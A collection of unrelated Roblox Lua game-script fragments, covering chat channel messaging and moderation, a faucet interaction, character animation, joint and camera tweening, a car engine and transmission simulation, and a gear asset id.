--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:SendSystemMessage(message, extraData)
local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)
local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)
if not success and err then
print("Error posting message: " ..err)
end
self:InternalAddMessageToHistoryLog(messageObj)
for i, speaker in pairs(self.Speakers) do
speaker:InternalSendSystemMessage(messageObj, self.Name)
end
return messageObj
end
function methods:SendSystemMessageToSpeaker(message, speakerName, extraData)
local speaker = self.Speakers[speakerName]
if (speaker) then
local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)
speaker:InternalSendSystemMessage(messageObj, self.Name)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a system message", speakerName, self.Name))
end
end
function methods:SendMessageObjToFilters(message, messageObj, fromSpeaker)
local oldMessage = messageObj.Message
messageObj.Message = message
self:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)
self.ChatService:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)
local newMessage = messageObj.Message
messageObj.Message = oldMessage
return newMessage
end
function methods:CanCommunicateByUserId(userId1, userId2)
if RunService:IsStudio() then
return true
end
-- UserId is set as 0 for non player speakers.
if userId1 == 0 or userId2 == 0 then
return true
end
local success, canCommunicate = pcall(function()
return Chat:CanUsersChatAsync(userId1, userId2)
end)
return success and canCommunicate
end
function methods:CanCommunicate(speakerObj1, speakerObj2)
local player1 = speakerObj1:GetPlayer()
local player2 = speakerObj2:GetPlayer()
if player1 and player2 then
return self:CanCommunicateByUserId(player1.UserId, player2.UserId)
end
return true
end
function methods:SendMessageToSpeaker(message, speakerName, fromSpeakerName, extraData)
local speakerTo = self.Speakers[speakerName]
local speakerFrom = self.ChatService:GetSpeaker(fromSpeakerName)
if speakerTo and speakerFrom then
local isMuted = speakerTo:IsSpeakerMuted(fromSpeakerName)
if isMuted then
return
end
if not self:CanCommunicate(speakerTo, speakerFrom) then
return
end
-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.
local isFiltered = speakerName == fromSpeakerName
local messageObj = self:InternalCreateMessageObject(message, fromSpeakerName, isFiltered, extraData)
message = self:SendMessageObjToFilters(message, messageObj, fromSpeakerName)
speakerTo:InternalSendMessage(messageObj, self.Name)
--// START FFLAG
if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG
--// OLD BEHAVIOR
local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName)
if filteredMessage then
messageObj.Message = filteredMessage
messageObj.IsFiltered = true
speakerTo:InternalSendFilteredMessage(messageObj, self.Name)
end
--// OLD BEHAVIOR
else
--// NEW BEHAVIOR
local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(messageObj.FromSpeaker, message)
if (filterSuccess) then
messageObj.FilterResult = filteredMessage
messageObj.IsFilterResult = isFilterResult
messageObj.IsFiltered = true
speakerTo:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
--// NEW BEHAVIOR
end
--// END FFLAG
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a message", speakerName, self.Name))
end
end
function methods:KickSpeaker(speakerName, reason)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
local messageToSpeaker = ""
local messageToChannel = ""
if (reason) then
messageToSpeaker = string.format("You were kicked from '%s' for the following reason(s): %s", self.Name, reason)
messageToChannel = string.format("%s was kicked for the following reason(s): %s", speakerName, reason)
else
messageToSpeaker = string.format("You were kicked from '%s'", self.Name)
messageToChannel = string.format("%s was kicked", speakerName)
end
self:SendSystemMessageToSpeaker(messageToSpeaker, speakerName)
speaker:LeaveChannel(self.Name)
self:SendSystemMessage(messageToChannel)
end
function methods:MuteSpeaker(speakerName, reason, length)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
self.Mutes[speakerName:lower()] = (length == 0 or length == nil) and 0 or (os.time() + length)
if (reason) then
self:SendSystemMessage(string.format("%s was muted for the following reason(s): %s", speakerName, reason))
end
local success, err = pcall(function() self.eSpeakerMuted:Fire(speakerName, reason, length) end)
if not success and err then
print("Error mutting speaker: " ..err)
end
local spkr = self.ChatService:GetSpeaker(speakerName)
if (spkr) then
local success, err = pcall(function() spkr.eMuted:Fire(self.Name, reason, length) end)
if not success and err then
print("Error mutting speaker: " ..err)
end
end
end
function methods:UnmuteSpeaker(speakerName)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
self.Mutes[speakerName:lower()] = nil
local success, err = pcall(function() self.eSpeakerUnmuted:Fire(speakerName) end)
if not success and err then
print("Error unmuting speaker: " ..err)
end
local spkr = self.ChatService:GetSpeaker(speakerName)
if (spkr) then
local success, err = pcall(function() spkr.eUnmuted:Fire(self.Name) end)
if not success and err then
print("Error unmuting speaker: " ..err)
end
end
end
function methods:IsSpeakerMuted(speakerName)
return (self.Mutes[speakerName:lower()] ~= nil)
end
function methods:GetSpeakerList()
local list = {}
for i, speaker in pairs(self.Speakers) do
table.insert(list, speaker.Name)
end
return list
end
function methods:RegisterFilterMessageFunction(funcId, func, priority)
if self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' already exists", funcId))
end
self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end
function methods:FilterMessageFunctionExists(funcId)
return self.FilterMessageFunctions:HasFunction(funcId)
end
function methods:UnregisterFilterMessageFunction(funcId)
if not self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' does not exists", funcId))
end
self.FilterMessageFunctions:RemoveFunction(funcId)
end
function methods:RegisterProcessCommandsFunction(funcId, func, priority)
if self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
end
self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end
function methods:ProcessCommandsFunctionExists(funcId)
return self.ProcessCommandsFunctions:HasFunction(funcId)
end
function methods:UnregisterProcessCommandsFunction(funcId)
if not self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
end
self.ProcessCommandsFunctions:RemoveFunction(funcId)
end
local function ShallowCopy(table)
local copy = {}
for i, v in pairs(table) do
copy[i] = v
end
return copy
end
function methods:GetHistoryLog()
return ShallowCopy(self.ChatHistory)
end
function methods:GetHistoryLogForSpeaker(speaker)
local userId = -1
local player = speaker:GetPlayer()
if player then
userId = player.UserId
end
local chatlog = {}
--// START FFLAG
if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG
--// OLD BEHAVIOR
for i = 1, #self.ChatHistory do
local logUserId = self.ChatHistory[i].SpeakerUserId
if self:CanCommunicateByUserId(userId, logUserId) then
table.insert(chatlog, ShallowCopy(self.ChatHistory[i]))
end
end
--// OLD BEHAVIOR
else
--// NEW BEHAVIOR
for i = 1, #self.ChatHistory do
local logUserId = self.ChatHistory[i].SpeakerUserId
if self:CanCommunicateByUserId(userId, logUserId) then
local messageObj = ShallowCopy(self.ChatHistory[i])
--// Since we're using the new filter API, we need to convert the stored filter result
--// into an actual string message to send to players for their chat history.
--// System messages aren't filtered the same way, so they just have a regular
--// text value in the Message field.
if (messageObj.MessageType == ChatConstants.MessageTypeDefault or messageObj.MessageType == ChatConstants.MessageTypeMeCommand) then
local filterResult = messageObj.FilterResult
if (messageObj.IsFilterResult) then
if (player) then
messageObj.Message = filterResult:GetChatForUserAsync(player.UserId)
else
messageObj.Message = filterResult:GetNonChatStringForBroadcastAsync()
end
else
messageObj.Message = filterResult
end
end
table.insert(chatlog, messageObj)
end
end
--// NEW BEHAVIOR
end
--// END FFLAG
return chatlog
end
|
-- Hot water
|
faucet.HotWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-150),0,0))
p.HotOn.Value = true
p.ColdOn.Value = false
end)
|
------------------
------------------
|
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function newSound(SndName,id)
local sound = script.Parent.Head:findFirstChild(SndName)
if(sound == nil) then
sound = Instance.new("Sound")
sound.Name = SndName
sound.Parent = script.Parent.Head
sound.SoundId = id
end
return sound
end
local sDied = newSound("Died","rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("FallingDown","rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("FreeFalling","rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("GettingUp","rbxasset://sounds/hit.wav")
local sJumping = newSound("Jumping","rbxasset://sounds/button.wav")
local sRunning = newSound("Running","rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
function onState(state, sound)
if state then
sound:play()
else
sound:pause()
end
end
function onRunning(speed)
if isSeated then return end
if(script.Parent.Attacking.Value == true) then return end
if speed>0 then
sRunning:play()
pose = "Running"
else
sRunning:pause()
pose = "Standing"
end
end
function onDied()
pose = "Dead"
sDied:play()
wait(regentime)
wait(1)
model:remove()
model = backup:Clone()
wait(3)
model.Parent = game.Workspace
model:MakeJoints()
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function StandFire()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 1.57
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
local attack = script.Parent.Attacking.Value
if(attack == true) then
pose = "attack"
script.Parent.Humanoid.WalkSpeed = 0
script.Parent.Gun.canFire.Value = true
else
script.Parent.Humanoid.WalkSpeed = 16
script.Parent.Gun.canFire.Value =false
end
if(pose == "attack") then
StandFire()
return
end
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--------------------[ TWEEN FUNCTIONS ]-----------------------------------------------
|
function TweenJoint(Joint, NewC0, NewC1, Alpha, Duration)
coroutine.resume(coroutine.create(function()
local TweenIndicator = nil --At the current moment, this is how the script determines whether the function is already tweening a joint
local NewCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000
if (not Joint:FindFirstChild("TweenCode")) then --If the joint isn't being tweened, then
TweenIndicator = Instance.new("IntValue")
TweenIndicator.Name = "TweenCode"
TweenIndicator.Value = NewCode
TweenIndicator.Parent = Joint
else
TweenIndicator = Joint.TweenCode
TweenIndicator.Value = NewCode --If the joint is already being tweened, this will change the code, and the tween loop will stop
end
local MatrixCFrame = function(CFPos, CFTop, CFBack)
local CFRight = CFTop:Cross(CFBack)
return CF(
CFPos.x, CFPos.y, CFPos.z,
CFRight.x, CFTop.x, CFBack.x,
CFRight.y, CFTop.y, CFBack.y,
CFRight.z, CFTop.z, CFBack.z
)
end
local LerpCF = function(StartCF, EndCF, Alpha)
local StartTop = (StartCF * CFANG(RAD(90), 0, 0)).lookVector
local StartBack = -StartCF.lookVector
local EndTop = (EndCF * CFANG(RAD(90), 0, 0)).lookVector
local EndBack = -EndCF.lookVector
local StartPos = StartCF.p
local EndPos = EndCF.p
local NewCF = MatrixCFrame(
StartPos:lerp(EndPos, Alpha),
StartTop:lerp(EndTop, Alpha),
StartBack:lerp(EndBack, Alpha)
)
return NewCF
end
local StartC0 = Joint.C0
local StartC1 = Joint.C1
local X = 0
while true do
local NewX = X + math.min(1.5 / math.max(Duration, 0), 90)
X = (NewX > 90 and 90 or NewX)
if TweenIndicator.Value ~= NewCode then break end --This makes sure that another tween wasn't called on the same joint
if (not Selected) then break end --This stops the tween if the tool is deselected
if NewC0 then Joint.C0 = LerpCF(StartC0, NewC0, Alpha(X)) end
if NewC1 then Joint.C1 = LerpCF(StartC1, NewC1, Alpha(X)) end
if X == 90 then break end
RS:wait() --This makes the for loop step every 1/60th of a second
end
if TweenIndicator.Value == NewCode then --If this tween functions was the last one called on a joint then it will remove the code
TweenIndicator:Destroy()
end
end))
end
function RotCamera(RotX, RotY, SmoothRot, Duration)
spawn(function()
if SmoothRot then
local TweenIndicator = nil
local NewCode = math.random(-1e9, 1e9)
if (not Camera:FindFirstChild("TweenCode")) then
TweenIndicator = Instance.new("IntValue")
TweenIndicator.Name = "TweenCode"
TweenIndicator.Value = NewCode
TweenIndicator.Parent = Camera
else
TweenIndicator = Camera.TweenCode
TweenIndicator.Value = NewCode
end
local Step = math.min(1.5 / math.max(Duration, 0), 90)
local X = 0
while true do
local NewX = X + Step
X = (NewX > 90 and 90 or NewX)
if TweenIndicator.Value ~= NewCode then break end
if (not Selected) then break end
local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
local NewCamCF = CF(Camera.Focus.p) * CamRot * CFANG(RotX / (90 / Step), RotY / (90 / Step), 0)
Camera.CoordinateFrame = CF(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CF(0, 0, CamDist)
if X == 90 then break end
RS:wait()
end
if TweenIndicator.Value == NewCode then
TweenIndicator:Destroy()
end
else
local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
local NewCamCF = CF(Camera.Focus.p) * CamRot * CFANG(RotX, RotY, 0)
Camera.CoordinateFrame = CF(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CF(0, 0, CamDist)
end
end)
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = true
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150)/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = ((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150)
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150),_RPM))/HPInc)]
_HP = (cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*car.DriveSeat.PMult.Value)
_OutTorque = (cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*car.DriveSeat.PMult.Value)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>((_Tune.PeakRPM+_Tune.AutoUpThresh)*car.DriveSeat.PMult.Value) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150))<((_Tune.PeakRPM-_Tune.AutoDownThresh)*car.DriveSeat.PMult.Value) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*((_Tune.PeakRPM+_Tune.AutoUpThresh)*car.DriveSeat.PMult.Value)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*((_Tune.PeakRPM-_Tune.AutoDownThresh)*car.DriveSeat.PMult.Value)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- asset Id of the bloxy cola gear: http://www.roblox.com/Bloxy-Cola-item?id=10472779
|
local bloxyColaId = 10472779
|
-- Start:
